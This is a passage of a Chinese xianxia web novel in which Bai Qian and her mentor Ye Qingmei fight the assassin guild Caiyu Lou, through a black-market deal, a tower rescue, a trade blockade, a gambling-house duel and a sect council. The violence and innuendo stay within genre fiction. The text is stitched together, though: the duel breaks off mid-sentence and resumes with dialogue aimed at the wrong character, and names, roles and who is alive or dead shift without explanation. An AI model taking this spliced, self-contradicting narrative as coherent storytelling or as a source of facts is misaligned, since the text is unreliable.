叶轻眉眸光一寒,夹着剑尖的两指微不可查地一颤,一股无形无质的劲力顺着剑身瞬间侵入刺客体内!刺客浑身一震,动作僵住,一缕黑血从嘴角溢出,眼中神采迅速黯淡,倒在地上。“彩羽楼的死士,行事还是这般干净利落。”叶轻眉松开手指,任由那柄幽蓝软剑掉落在地。她看着地上迅速被雨水冲淡的血迹,眼神冰冷,“连个能问话的活口都不留。”唐婉上前检查了一下刺客尸体,除了口中毒囊,身上干净得没有任何标识,面容普通,属于那种丢入人海便再难辨认的货色。 “叶前辈,您怎么”白浅松了口气。“我感觉到你气息不稳,又见寒青萝行色有异,便跟来看看。”叶轻眉淡淡道,目光落在那柄跌落泥水中的软剑上,“倒是钓出一条不小的鱼。” 白浅俯身拾起那柄软剑。触手冰凉,剑身狭长柔软,隐有波纹。将一缕真气注入其中,“嗡”剑身轻颤,剑脊之上,竟有极其细微的、如同冰裂般的天然纹路,而在靠近剑镡的极隐蔽处,有一个微小的标记——像是一片被冰霜覆盖的羽毛轮廓。“这是”“‘霜羽纹’,北地‘寒渊’特产的一种稀有冰铁独有印记。”叶轻眉的声音听不出喜怒,“这种材料打造的兵器,在整个地煞大陆都极为少见。能用上此等兵器的,非富即贵。看来,他们是真的盯上你了。”凝碧轩·旧事回到凝碧轩,雨声渐沥。 叶轻眉将那柄霜羽软剑放在桌上,指尖摩挲着剑脊上的冰裂纹,像是在触碰一段久远的往事。“寒渊冰铁,百年只铸三柄。”她的声音在寂静中响起,“楼主亲授‘三羽使’:冰羽、霜羽、血羽。”她抬起眼,看向白浅:“当年伤我肩胛的,就是这柄霜羽。”白浅攥紧了袖口。 “彩羽楼供奉着一块‘祀碑’,楼主参透碑文,想要培育出一种不畏生死的护卫。”叶轻眉的语气平淡,却带着一丝不易察觉的痛楚,“我反对这种做法,认为太过残忍。霜羽却认为,楼主的令,就是天命。我们因此反目,我带碑叛逃,她追我三百里,最后我碎碑坠崖,才得以脱身。”波涟漪此时披雨而来,手中拿着一份密报:“霜羽剑的流转记录查到了。半月前经手人是商风区‘叶氏暗庄’的叶三娘,昨夜突然销账。叶三娘是叶轻扬的乳母。”“叶家?”白浅指尖发冷。“叶轻扬未必知情,但这叶三娘的暗庄,确实与彩羽楼有生意往来。”波涟漪展开一张舆图,“更有趣的是,今早云为衫的医案被调阅过,调阅印记是霜羽卫的暗码。看来,有人想借你的手,去试探霜羽,或者说,去试探现任楼主的态度。” 窗外忽传来极轻的“笃”声。白浅开窗,一枚带血的羽徽钉在窗框上。远处屋顶,一道孤影立于雨雾中,见白浅开窗,转身没入黑暗。叶轻眉拔下羽徽,冷笑:“霜羽的‘请帖’到了。明日去黑市,带上剑。有人想见你,更想见我。”黑市·交易卯时未至,商风区黑市已是人声鼎沸。白浅裹紧斗篷,唐婉扮作婢女,波涟漪的人散在四周。黑市入口是间香烛铺。穿深紫襦裙的妇人倚柜嗑瓜子,瞥见白浅腰侧的剑形,瓜子壳“呸”地吐出:“生面孔?买香还是问路?”白浅指尖轻点柜台,剑镡的覆霜羽印一晃:“问路。叶三娘的货,不该烂在库里。”妇人眯眼笑:“三娘回老家了,货嘛得加钱。”唐婉将一袋灵晶推过去。妇人掂了掂,下巴朝后巷一努:“酉时三刻,‘无灯船’靠旧码头船上人等的,可不是这点零钱。”旧码头,一艘无篷舢板泊在岸边。舱帘掀起,先露出一双苍老的手,指节覆着厚厚的茧。接着,是半张面具,银质雕羽纹,遮住了鼻梁以上。“坐。”声音沙哑,“寒渊的冰,没冻坏你的手?”白浅握剑不动:“霜羽?”“曾经是。”那人轻笑,摘下面具,露出一张与叶轻眉有三分相似的脸,只是左脸有一道狰狞的烧伤,“我是她师姐,霜羽。当年楼主拿我女儿试药,孩子没了,我才知这所谓的‘培育’,不过是场骗局。我毁了那块碑,从此被追杀。” 她将一枚灰羽令塞给白浅:“楼主将死,内部大乱。血羽派要夺权,寒青萝是他们的先锋。他们抓了云为衫,想用她的体质做新试验。去城南‘凋羽塔’,拦不住,全城都要遭殃!”凋羽塔·破局城南废塔,塔顶泛着诡异的红光。寒青萝站在塔下,身后两名灰衣人押着云为衫。云为衫双眼紧闭,身体微微颤抖,显然在被强行灌输某种力量。 “晚了。”寒青萝笑,“血羽大人要的新容器,马上就成了。” 白浅拔剑,寒声道:“放了她!” 寒青萝冷笑:“你以为你是谁?今日就算叶轻眉亲来,也救不了她!” 塔顶红光暴涨,云为衫发出一声痛苦的嘶吼。 白浅冲向塔门,霜羽剑劈开结界。塔心,一块石碑矗立,上面刻满了诡异的符文。 “碑碎,她的经脉就会彻底毁掉!”一个声音从梁上传来,林霜羽倒悬而下,霜羽剑直刺碑文,“用你体内的寒气,封住碑上的气脉!” 白浅脑中闪过叶轻眉教导的手法,双掌按碑,真气逆冲“封!” “轰!” 碑石裂开一道缝隙,红光骤黯。云为衫身体一软,瘫倒在地。寒青萝见状,怨毒地瞪了她们一眼,转身遁入雨雾。林霜羽将灰羽令塞进白浅手心:“楼主将死,血羽必会反扑。下次见,希望你的剑够快。围城·商战丑时三刻,雨停了。但城外却传来了不寻常的动静。不是喊杀声,而是大批人马集结的沉重脚步声。赵琳一身戎甲,按剑立在城头,脸色凝重。城外,黑压压的人群已将外城四面合围。 “多少人?”她问副将。“不下五百,都是彩羽楼的好手。东门、西门各有压阵,带队的是寒青萝。”“城主有令吗?”“城主闭关未出。寒青萝传话,‘交出白浅,或全城陪葬’。”话音刚落,一声哨响,城外人群动了。但奇怪的是,他们并没有攻城,而是将一辆辆满载货物的马车推到了城门前。“那是丝绸?茶叶?”赵琳愣住了。只见寒青萝骑马而出,高声道:“赵统领,我家楼主说了,巴山夜雨城物产丰富,我们彩羽楼想来做笔生意。只要你们交出白浅,我们愿以三倍市价收购城中所有积压的货物,并开放边境互市,保你们十年繁荣。”赵琳冷笑:“做梦!我巴山夜雨城岂是你们能威胁的?”寒青萝也不恼,挥了挥手。几辆马车被打开,里面装的不是货物,而是密密麻麻的账本和契约。“那若是断了你们的财路呢?城外三十条商路,我们已全部控制。从今日起,巴山夜雨城的茶叶、丝绸、药材,一匹布也运不出去。这比攻城更可怕。没有贸易,一座城池就算守得住,也会慢慢枯萎。赵琳掌心沁出冷汗。霜风骤至,叶轻眉落在垛口,银发在风中飘动。她看了一眼城下的马车,冷笑:“雕虫小技。想用钱压垮我们?浅浅,去库房,把我们存的那些陈年旧货,全部拿出来。”“姑姑?”“既然他们想做生意,那我们就陪他们做。用最差的货,换他们最多的钱。我倒要看看,他们那点家底,够烧多久。”叶轻眉拔出霜华剑,剑指城外:“传令下去,关闭城门,加强巡逻。谁敢强闯,杀无赦。至于贸易?哼,等他们没钱了,自然会来求我们。”城外,寒青萝看着城头那道银发身影,脸色阴沉如水。时隔才几天时间,白浅又伪装成纨绔子弟堂而皇之地进入了靖安城。倒不是她艺高人胆大,更不是有恃无恐。而是白浅如今的相貌只有集源堂的张集源知道,只要白浅不自报家门,谁又能识破她的真实身份?更何况,她此刻的伪装并非凭空捏造——她借用了唐婉那套“纨绔子弟”的装束与气度,将一身灰麻斗篷换成了锦衣华服,银发也用特制的药膏染成了墨色,眉眼间刻意添了几分骄奢淫逸的浮躁。翠儿和青鸾也来过不少次靖安城,可每次她们来都是办事的,来也匆匆去也匆匆,根本不会多做逗留。这次更是白浅带她们来“逛街”,所以两个丫头一进城便象是脱了缰绳的野马,这也瞅瞅那也看看,对什么都充满了新奇。“别看了别看了,有什么好看的?跟小孩子一样。”白浅将两个丫头从一家胭脂水粉铺里拖了出来,一脸严肃地批评道,语气里带着几分刻意模仿来的纨绔腔调。唐婉在一旁鄙夷地看着白浅:“上次进城的时候你也是这德行。”白浅装没听到,一脸正色地跟两个丫头道:“先陪少爷去多弄点钱。”“你不是有钱么?”翠儿疑惑地问道,她记得白浅身上带着叶轻眉给的灵晶。白浅撇撇嘴,用折扇敲了敲手心:“一万两能算钱么?随便买点什么东西就花光了,少爷我可是要给你们买最好的胭脂水粉,最漂亮的首饰,我们的口号是,不要最好,只要最贵!”“那去哪弄钱呢?”青鸾眨巴着眼睛问道,她比翠儿更清楚白浅现在的处境——彩羽楼围城,正是用钱之际。白浅一摇折扇,高深莫测道:“跟我来!”路上买了几斤荔枝和樱桃,白浅带着三个女人一路杀到了城西一间大房子处。抬头看去,只见门头挂一匾额,龙书凤篆四个大字:“至尊赌庄!”门口站立着两个出水芙蓉一般的清秀女子,年纪大概在十五六岁的模样,一身淡青色宫装,见到白浅,两个侍女甜甜一笑,连忙敛了一礼:“欢迎光临!”至尊赌庄,同样是靖安城三大家族的合资产业,重要性比集源堂还犹有过之,敛财的速度更是首屈一指。白浅这次来,就是要从这里捞点钱的,这个地方也是通过搜索柳家高层的记忆得知的。不管在哪个世界,有两种人是永远都会存在的。窑姐和赌徒!这是社会发展必然会带来的产物。白浅低声对三个女孩道:“记住,少爷我今天就是一个纨绔的败家子,可别露馅了。”尽管不太担心自己会被人认出真实身份,可稍微伪装一下还是必要的。叮嘱完之后,白浅笑眯眯地用手上折扇托住一个侍女的下巴,□□地笑了两声——这笑容学得十足,连唐婉都看得嘴角一抽。那侍女顿时娇羞不已,欲拒还迎,低声道:“公子,奴婢只是个下人,若是公子想找乐子的话,赌庄里还有更漂亮的姐姐。”“哈哈,不错不错,赏!”白浅大笑一声,声音刻意拔高,透着一股令人厌恶的铜臭味。唐婉寒着脸,一脸不乐意地抽出一百两银票递给了那个侍女。翠儿在一旁吃惊地张大了嘴巴,显然没想到白浅还有这么轻佻的一面。唐婉冷哼一声,贝齿紧咬低声骂道:“下贱!”那侍女得了银票,连声道谢:“谢谢公子打赏!”一百两对她来说可是笔巨款,足够她好吃好喝花上一年时间了,更何况白浅玉树临风,丰神俊朗——虽然是个冒牌货,但那股气度却是学不来的,这丫头哪有不喜欢的道理?大笑声中,白浅摇着折扇,摆出一副混世二世祖的派头,大步踏进了至尊赌庄。一进赌庄内,顿时一股热潮铺面而来,夹杂着难闻的汗味和其他莫名其妙的味道,还有喧闹无比地吵叫声。三个女孩都不由自主地捂住了鼻子。唐婉不满道:“这世间居然还有这种污秽肮脏的地方。”换做平时,唐婉身为地隐门精英弟子,怎么会来这里?要不是怕白浅遭遇到什么不测,唐婉早就跑了。“越污秽,越有钱赚!”白浅嘿嘿一笑,迎面奔过来一个小厮,人还没到就对白浅连连作揖:“欢迎公子爷,请问公子爷来这里想玩什么?”白浅把折扇一收,从青鸾怀中抽出一张银票塞到小厮手上,笑问道:“你们这有什么好玩的?”这小厮百忙中偷偷看了一眼银票的面额,顿时笑得满面开花:“不瞒公子爷,我们至尊赌庄是靖安城第一大赌庄,好玩的东西应有尽有。骰子,牌九,赌拳,斗鸡,斗蛐蛐。”随即又压低声音道:“若是公子爷有雅兴,还可以到楼上和我们赌庄的美女庄家对赌,那些庄家个个貌美如花,身段妖娆,赢了的话,不但有钱拿,庄家还会脱衣服哦,赢一把脱一件。”白浅顿时眉飞色舞,一脸□□:“要是少爷我输了呢?”“来者皆是客,公子爷要是输了,当然不需要脱衣服,只管付钱就是。”“还有这等好事?”“哼!”一声轻声自唐婉的鼻中发了出来。唐婉原本是天阶中品,耳力自然不是一般,白浅和小厮的说话声就连站得近的翠儿和青鸾都没听到,却被她听个清清楚楚。白浅把脸色一整,肃然道:“你看少爷我象是少女人的样子么?”小厮抬头一看,正看到唐婉吃人的目光瞪着他,赶紧把头一缩,谄笑道:“公子爷风流倜傥,身边的美人更是仙人一般,当然是看不上我们赌庄的货色了。那公子爷您是在底下大厅还是去楼上包间?”最后一句话却是压低了声音问的。“人多才热闹,就在大厅吧。”“您想玩什么?”“骰子吧,赌大小,爽快利落!”白浅道。“公子爷这边请!”小厮是个玲珑人,见白浅长的不凡,身后更是跟了三个美女,出手又大方,显然认为白浅是个有钱的主,引着白浅来到一张赌桌前,替她找了个座位,还用袖子将凳子使劲擦了擦,这才一脸谄笑道:“公子爷您坐!”“恩。”白浅点点头,大马金刀往凳子上一座,对翠儿招招手道:“过来。”翠儿柔顺地走了过去,被白浅一把拉进了怀中,跌坐在白浅的大腿上。青鸾和唐婉站在白浅身后,青鸾轻声道:“小姐今天 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荷官是个面容冷峻的女子,指尖一拨,骰盅停下。开盅,四点。“公子爷手气真好。”荷官面无表情地推过筹码。白浅却没看筹码,目光落在赌桌另一端的一个女子身上。那女子约莫三十来岁,面容普通,但一双眼睛精光四射,正是黄榜上有名的“秦姝”地隐门弟子,上次在演武坪上被白浅一指击败的对手。她面前堆着高高的筹码,显然也是个常胜将军。秦姝也察觉了白浅的目光,抬起眼,冷冷扫来。她的双瞳之中露出两道淡淡的金芒,头上的黑发,无风自动,一缕缕真气在发丝间穿梭。就连她干瘦的身体,像是都变得高大了几分。若是仔细看,就会发现,秦姝的双臂的皮肤上面蒙着一层金属光泽,简直就像化为两条金属铁壁。“灵级下品武技,金刚神拳!”白浅心中微动,认出了秦姝施展的武技。“哈哈!没错,正是金刚神拳!”秦姝笑道,声音沙哑如磨砂。她显然也是个女扮男装的常客,此刻毫无顾忌地展示着实力。 金刚神拳在灵级武技之中,算是相对比较普通的拳法武技,流传极广,在很多郡国,都能找到金刚神拳的拳谱。当然,金刚神拳就算流传得再广,就算再普通,也是灵级武技,只有在各大郡王府、宗门、家族,才有可能收录着这种拳法。对于一般的武者来说,想到修炼到金刚神拳,简直难如登天。 秦姝也仅仅只是在一个偶然的机会,学习到十八招金刚神拳中的其中一招的拳法,烈火金刚。施展出这一招拳法,秦姝足以爆发出七十八牛的力量,就算现在黄榜第一的那人也没有如此强大的爆发力。也就是说,施展出金刚神拳,秦姝便拥有黄榜第一的实力。 一位坐在旁边的女性黄榜武者低声道:“秦姝居然修炼成了一招金刚神拳,使用出这一招,恐怕就算是黄榜第一黑常姬,也不是她的对手。”先前,被白浅在擂台上击败的一位黄榜武者道:“秦姝在没有修炼灵级武技之前,就不比黑常姬弱多少。黑常姬也只有施展出灵级下品的无常剑法,才能略胜她一招。现在,秦姝修炼了金刚神拳,爆发力更强,要胜黑常姬已经不是难事。”“若是秦姝能够击败白浅,这一战之后,她在笃行榜上的排名,就肯定会被换到第一的位置上去。”一个略显年幼的少女道:“若是白浅击败了秦姝,岂不就是说,白浅就是笃行榜第一?”站在她旁边的一位长辈,笑道:“秦姝连灵级武技都施展出来,肯定是有必胜的信心,是不可能有取胜的机会。”“白浅的确和秦姝还有一些差距,看来不用寒青萝出手了!”唐婉的脸上露出几分失望。若是寒青萝出手,白浅就不是败那么简单,而是死。对于白浅,唐婉的心中就是一股莫名的爱意,特别是看到白浅风光八面的时候,她的心头便越是欢喜,恨不得白浅立即倒在她怀里。连她都不懂,为何自己会那么的爱白浅?“烈火金刚!”秦姝蓄足了气势,双拳齐出。真气燃烧,化为两个火焰铁拳,同时打出七十八牛的巨力。若是在战场上,秦姝这一拳,仅凭气势,就能吓退百位军士。白浅不仅不退,反而冲了上去,身上的气势犹如一头蛮象。整,有致命的破绽。你当初得到的仅仅只是杀生剑术的残本吧?唐婉显得很平静,波澜不惊,道:“你想要用这种方式击垮我的意志?”白浅轻轻的摇了摇头,不再多言,道:“既然你依旧不认输,那就让我看一看,你的杀生剑术到底有多强吧?”其实,白浅并不讨厌秦姝,反而颇为欣赏她在拳法上的造诣,仿佛能够看到一个超级拳客在崛起。无论是前世还是今生,白浅从来没有杀过人,十分不希望第一个死在她手中的人就是这样一个女子。所以,她才多劝了几句。面对上秦姝,白浅也拔出了霜羽剑。两股剑气,同时从白浅和秦姝的身上散发出来,在空气中碰撞。看到战台上生死相向的白浅和秦姝,唐婉便感觉到十分的兴奋。若是秦姝能够杀死白浅,自然是最好不过。若是白浅杀死了秦姝,她的心中也有一种说不出的快感。一个天才拳客为了她,死在另一个天才剑客的手中。她难道不该兴奋?这种感觉太奇妙了!“杀生!”秦姝的嘴唇中轻轻的念了一句,化为一道残影,一往无前的向着白浅冲过去。与此同时,她手臂一抬,手中的铁拳,以闪电一般的速度轰出去。白浅也跟着迈开脚步,也化为一道残影,迎了上去。剑与拳·生死一瞬“轰!拳剑相撞,气劲四溢。赌桌周围的赌客们纷纷后退,生怕被波及。秦姝的金刚神拳威力惊人,每一拳都带着呼啸的风声,拳风所过之处,空气仿佛都被压缩得爆炸开来。白浅的霜羽剑则灵动如蛇,剑光闪烁,每一次挥出都精准地点在秦姝拳劲的薄弱处。她的剑法轻灵,不与之硬拼力量,而是以巧破力。“这丫头的剑法,倒是有些门道。”秦姝心中暗赞,攻势越发凌厉。她毕竟是笃行段高手,经验丰富,很快就发现了白浅剑法中的破绽。在一次猛烈的轰击后,她的左拳突然变向,一招“金刚掏心”,直取白浅的胸口。这一拳来得突兀,白浅避之不及,只得横剑格挡。“铛!”一声巨响,白浅连人带剑被震退三步,胸口气血翻涌。秦姝的力量果然霸道无比。“哈哈,怕了吧?”秦姝得意一笑,步步紧逼。白浅稳住身形,眼中闪过一丝冷光。她一直在试探,现在终于摸清了秦姝拳法的套路。金刚神拳威力巨大,但灵活性稍显不足,且每一拳轰出后,都有一瞬间的僵直。“就是现在!”白浅脚下步伐一错,身形如鬼魅般绕到秦姝侧面,霜羽剑如毒蛇出洞,直刺她的肋下。秦姝大惊,急忙回防,但已经晚了。剑尖刺破衣衫,抵住了她的皮肤,一丝鲜血缓缓渗出。“你输了。”白浅淡淡道。秦姝脸色一变,眼中闪过一丝不甘,但最终还是颓然叹道:“我输了。”赌庄内一片哗然。谁也没想到,这个看似纨绔的富家大小姐,竟然能击败高手秦姝。白浅收剑入鞘,懒洋洋地对小厮道:“结算筹码。”小厮连滚爬爬地过来,将白浅赢的一大堆灵晶和银票捧到她面前。白浅随手抓起一把,塞给翠儿和青鸾:“拿去买胭脂水粉。”两个丫头欢喜地接过,只有唐婉冷冷地看着这一切,眼神复杂。白浅走到秦姝面前,低声道:“你的拳法很好,但太依赖力量。下次若再战,我未必能赢你。”秦姝看了她一眼,哼了一声,转身离去。白浅看着她的背影,嘴角勾起一抹弧度。她需要的钱已经到手,更重要的是,她再次验证了自己在实战中的实力。彩羽楼围城,她需要更多的力量,更多的盟友,以及更多的筹码。走出至尊赌庄时,天色已晚。夕阳的余晖洒在靖安城的街道上,将这座古老的城市染成一片金黄。白浅回头看了一眼赌庄那块金光闪闪的匾额,心中默默道:“这只是一个开始。” 55. 草创未就问终极 雨巷·弃子,寒雨敲打着“千金一掷”后巷的碎瓦,发出令人心烦的声响。云为衫被扔在污水中,左腿以一个不自然的角度弯曲,腕骨尽碎——那是分筋错骨手的手法,精准而狠辣。她像一只被折断翅膀的孤狼,蜷缩在黑暗里,只有微弱的呼吸证明她还活着。 寒青萝撑着伞,雨水顺着伞骨汇成线,滴在云为衫惨白的脸上。她的眼神里没有怜悯,只有一种看待死物的冰冷。 “霜羽的秘密守不住,剑也断了,你这把刀,连废铁都不如。”寒青萝的声音比雨还冷,“楼主嫌你脏了手,让我清理干净。” 云为衫咳出血沫,暗红的眼盯着伞下那张冰冷的脸,忽然嘶声笑了,笑声嘶哑如裂帛:“你和我都是被炼坏的容器” 寒青萝眼底戾气一闪,脚尖碾在她腕骨裂处。骨头摩擦的“咯吱”声,在雨巷里显得格外清晰,令人牙酸。云为衫闷哼一声,彻底昏死过去。 “扔在这,喂野狗。”寒青萝转身,青影没入雨幕。四名灰衣人迅速散入巷子深处,消失无踪。 半刻钟后,一辆马车拐进巷子。车帘掀开,露出白浅沉静的侧脸。她们刚从波涟漪处拿到“暗羽集”的入场符,准备夜探黑市。 车灯晃过水洼,照亮了那一团蜷缩的人影。 “停车。”白浅按住身旁唐婉的手,跃下马车。雨水混着血水漫过她的鞋面。她探了下云为衫的鼻息,极微弱,但丹田内那团狂暴的剑种死气,反而因宿主濒死而沉寂下去。 “是云为衫!”唐婉倒抽一口凉气,“寒青萝竟下这种手” 白浅撕开她袖口,小臂上除了旧疤,还有一道新刻的灰羽烙印——那是“弃子”标记。她想起林霜羽临死前的话:“楼里不要的,连条野狗都不如。” “带她回去。”白浅将一枚“冰心丹”塞进云为衫嘴里,丹丸入口即化,吊住心脉。这是叶轻眉给的保命丹药,统共不过三粒。 “可她毕竟是彩羽楼的人,万一……”唐婉犹豫。 “她若死了,霜羽的线就全断了。”白浅抹去脸上雨水,眼神沉静,“而且,我想知道寒青萝为什么非要她死在这一刻。” 马车调头,碾过积水,朝凝碧轩疾驰。车辙旁的血水,很快被新雨冲淡。 暗羽集赌局“暗羽集”藏在商风区地下,入口是间棺材铺。守门的是个独眼老妪,验过白浅的符牌,哑声道:“规矩懂?赢,带东西走。输,留件东西:手指、眼睛,或命。” 白浅点头,与唐婉踏入向下的石阶。腐土与线香的味道混在一起,两侧壁上每隔十步嵌着一盏人鱼灯,绿荧荧的光照着甬道深处。 集市长廊两侧是石窟,每个石窟里一种“赌法”:有赌鉴古董真伪的,有赌解上古残局的,最多的是一种叫“鉴影”的玩法。石台上放着封印的黑铁盒,赌客下注猜盒内是何物,庄家开盒验货。铁盒能隔绝绝大多数神识探查,纯靠眼力与经验。 白浅的目标是第三窟的庄家。那是个秃顶黄牙的老者,膝上放着个不起眼的木盒。据波涟漪的情报,盒里装着“海魂玉”,是海外仙盟的信物之一。 “玩两把?”老者咧嘴,露出镶金的门牙。 白浅将钱袋放在“空”字上——她猜盒是空的。这是试探。 老者开盒,果然是空。他嘿嘿一笑:“运气不错。” 第二局,白浅押“毒虫”。老者开盒,一条碧蜈蚣窜出,被他两指捏死。“姑娘眼毒。”他眼神认真了些。 第三局,白浅将钱袋全押在“玉石”上。这是关键,盒里正是“海魂玉”。 老者手指在盒盖上摩挲,迟迟不开。 就在这时,白浅耳中传来叶轻眉的传音,清冷如冰线:“盒是双层,内藏暗格。玉在暗格,表盖下铺了一层‘蚀骨粉’。他若开盒,粉扬出来,你这局就算猜错。” 白浅背后渗出冷汗。她抬眼看向老者,老者眼中闪过一丝得意。 “且慢。”白浅忽然开口,“我加注。” “加什么?” “我若赢了,盒里东西归我,你再回答我一个问题。我若输了”白浅拔出霜羽剑,放在台上,“这柄剑归你。” 满窟寂静。霜羽剑即便收敛了光华,那寒渊冰铁特有的气息也做不得假。老者眼中爆出贪婪的光,舔了舔嘴唇:“好!” “不过,”白浅话锋一转,“请用‘揭天手’开盒手背贴盖,内力震开,不可沾粉。” 老者脸色骤变。“揭天手”是极精巧的内力手法,可不开盒盖,只震开暗格。这丫头竟连他盒中机关都摸清了? “你”他死死盯着白浅。 “开,还是不开?”白浅手指按在剑柄上。 老者额头见汗,最终咬牙,手背贴盒,内力一吐。“咔”一声轻响,盒盖未开,内侧暗格弹起,一抹温润的蓝光溢出正是鸽卵大小的海魂玉。 满场哗然。老者面如死灰。 白浅取玉入怀,低声问:“海外仙盟的接引人,现在在哪?” 老者嘴唇哆嗦,传音报了个地址。白浅收剑,与唐婉转身便走。 “站住!”老者猛地拍案,石窟前后门轰然落下铁栅,五六个气息阴沉的护卫围了上来。“赢了就想走?玉留下,剑也留下!” 唐婉袖中滑出短刃,将白浅护在身后。白浅却看向石窟阴影处,朗声道:“阁下看够了么?” 阴影里,缓缓走出一人,黑衣蒙面,但腰间悬着一枚眼熟的灰羽令。他盯着白浅,声音沙哑:“霜羽剑的新主?楼主等你很久了。” 是彩羽楼的“影羽”杀手。而且不止一人白浅感觉到至少三道同等级的气息锁定了自己。 一场死斗,似乎不可避免。 “楼主是请,还是杀?”白浅握紧霜羽剑,冰魄真气无声流转。海魂玉在怀中微微发烫,与地底某处隐隐共鸣。 “有区别么?”影羽抬手,三名杀手如黑鸦扑来,剑光封死上下三路。唐婉的暗器呼啸出手,却全被剑幕绞碎。 白浅踏前一步,霜羽剑划出半圆,冰寒剑气与三道黑剑撞在一起,火星四溅。她以一敌三,被震得连退三步,喉头腥甜——旧伤未愈,新力不济。影羽鬼魅般切入,剑尖直刺她咽喉。这一剑比寒青萝更毒,更寂灭。 就在剑尖触及皮肤的刹那 “叮!” 一枚冰针,凭空出现,击偏了剑尖。影羽整条手臂瞬间覆上白霜,惊骇暴退。 叶轻眉从甬道阴影中走出,月白裙裾不沾尘,银发在绿荧灯下流转冷光。她甚至没看影羽,只对白浅道:“走吧,楼主不在此处。” “你是谁?!”影羽声音发颤,他竟完全没察觉此人何时到来。 叶轻眉瞥他一眼,那目光如万载冰渊,影羽如坠冰窟,竟动弹不得。她袖中滑出一物,丢在老者面前——是半枚燃烧过的“引魂香”。 “告诉楼主,”叶轻眉声音平静,“他想借海外仙盟的金蝉脱壳,瞒不过我。这柱香烧完前,他若再不现身,我便去烧了他的魂灯。” 老者面无人色,哆嗦着点头。 叶轻眉转身,白浅与唐婉紧随其后。铁栅无声升起,杀手们无一人敢动。 走出棺材铺,雨已停了,天边泛着诡异的鱼肚白。白浅怀中的海魂玉,忽然滚烫。 “师尊,刚才那是”“楼主的调虎离山。”叶轻眉望向内城方向,眼神冰冷,“他真正的目标,是昏迷的云为衫她体内残存的剑种,能帮他打开‘海外’的通道。” 话音未落,凝碧轩方向,一道血色光柱,冲天。四方云集暗流丑时三刻,波涟漪将最后一道防护阵纹刻入地面时,东南西北四个方向同时传来了急促的脚步声。 “报——”羽鹤区执事浑身湿透冲进庭院,“东门三里外出现雨韵剑宗旗号,约两百人!” “西门有秋池剑阁弟子集结!” “南门地隐门灰衣卫已至!” 几乎同时,四道身影踏雨而来。 东首女子一袭水蓝剑袍,发髻高挽,眉目清冷如寒潭——正是雨韵剑宗长老陆徽。她身侧跟着的正是陆青烟,此刻左手还缠着绷带,眼神却锐利如出鞘之剑。 西首撑油纸伞的白衣女子是秋池剑阁若曦长老,伞沿雨珠凝而不落。她身后两名弟子捧着断裂的伞骨——正是封印地煞引龙时损毁的本命法器。 南首白梦秋独坐檐角,灰衣在雨中纹丝不动,手中把玩着那枚从彩羽楼暗桩截获的血羽令。她身后秦姝、单芷若、赵雨菲三人分立三角,气息隐而不发。 北面街道,四盏宫灯破雨而至。为首者正是巴山夜雨城主白望春,一袭墨蓝锦袍,腰间悬着“听雨令”。她身后跟着听雨四卫中三人赵琳戎甲染血,波涟漪阵盘在手,翔云天从外巡紧急赶回,唯独缺了刑律执掌寒青萝。 凝碧轩庭院瞬间被各方势力填满。白浅扶着门框站在阶前,肩伤未愈,怀中海魂玉隐隐发烫。 “好热闹。”白望春目光扫过全场,最后落在叶轻眉身上,“叶师姐,不解释解释?” 叶轻眉银发在雨中飞扬,霜华剑悬在身侧:“城主想听什么解释?彩羽楼兵临城下时,是她们驰援。现在危机暂解,倒要问罪了?” 陆徽上前一步,雨水在剑袍三寸外自动蒸发:“白城主,我等并非问罪。只是血羽虽死,彩羽楼主遁逃,他临逃前说的‘海外仙盟’,事关整个南疆。” 若曦长老轻叹:“秋池剑阁的净雨大阵被地煞反噬,我宗七名弟子重伤。若海外真有强敌,需早做打算。” 白梦秋从檐角飘落,灰衣不沾滴水:“地隐门截获三批海外密信,用的是千年未现的‘海文’。破译需时,但有一件事确定——”她看向白浅,“海外仙盟要找的‘钥匙’,就在这丫头体内。” 满场目光瞬间聚焦。白浅感到怀中海魂玉烫得灼人。 “证据。”白望春声音平静。 白梦秋抛出一卷海兽皮,皮上用金粉绘着诡异纹路正中是一个女子轮廓,丹田处嵌着冰晶,与白浅体内状况九成相似。图下小字是扭曲的海文,唯最后三个字可辨:“钥匙—归墟” “归墟?”陆青烟失声,“传说中海之深渊?” “海外仙盟信奉的圣地。”白梦秋收卷,“他们在找能打开归墟之门的钥匙。而钥匙,需冰魄种子为引,海魂玉为匙,再加特殊血脉。” 所有人的目光投向叶轻眉。她曾是彩羽楼冰羽使,她妹妹是太古冰魔化身——这“特殊血脉”,再明显不过。 叶轻眉忽然笑了,笑声在雨夜中冰凉刺骨:“所以诸位今夜齐聚,是要把我徒儿当成钥匙交出去,还是要把我叶家血脉抽干炼药?” 庭院空气骤然凝固。僵持被一阵急促的马蹄声打破。四匹快马分别从四个方向冲入庭院,马上骑士滚鞍落跪: “报城主!宫鸣区古剑冢结界震荡,有剑气冲天!” “徵水区地脉异常,三处灵泉同时沸腾!” “商风区十七家商铺遭劫,劫匪留灰羽印记!” “角鹿区粮仓失火,火中有人影施展冰系术法!” 四区同乱。白望春脸色一沉:“寒青萝在哪?”无人应答。刑律执掌,消失了。 “分头行事。”白望春瞬间决断,“赵琳守宫鸣区,波涟漪镇徵水区,翔天云查商风区,角鹿区”她看向若曦长老,“有劳秋池剑阁相助灭火。” “陆长老,”她转向陆徽,“雨韵剑宗可愿助查古剑冢?” 陆徽点头:“可。但需白浅同行——古剑冢剑气可能与钥匙共鸣。” “白门主,”白望春最后看向白梦秋,“地隐门擅追踪,商风区劫案” “交给我。”白梦秋转身,“秦姝随我去商风区,单芷若、赵雨菲,你们助秋池灭火。” 人群迅速分散。白浅正要跟上陆徽,袖口被叶轻眉拉住。 “把这个带上。”叶轻眉将霜羽剑塞进她手中,又附耳低语,“古剑冢最深处有叶家密室,密室供桌上有面镜子。若遇险,照镜。” “师尊您” “我要去会会老朋友。”叶轻眉望向东南方,那里是角鹿区大火的方向,“能施展那种冰系术法的,全天下不超过三人。” 雨幕中,众人分赴四方。白浅随陆徽、陆青烟赶往宫鸣区时,怀中海魂玉烫得几乎握不住。 古剑冢冰魄归真宫鸣区在城北,依山而建。古剑冢并非坟墓,而是一处天然剑形石林,传闻是上古剑仙论道之地,残留剑气千年不散。 三人赶到时,赵琳已率卫队结阵封锁入口。石林深处,一道湛蓝剑气如光柱冲天,将夜雨照成诡异蓝色。 “结界裂了三道口子。”赵琳脸色难看,“剑气是从冢心‘论剑台’爆发的,但论剑台有七重禁制,除非” “除非有钥匙。”陆徽接话,看向白浅。 白浅握紧霜羽剑,剑身与冢中剑气隐隐共鸣。越往深处,石上剑痕越密,有些痕中竟渗出淡淡血渍——是千年前的血。 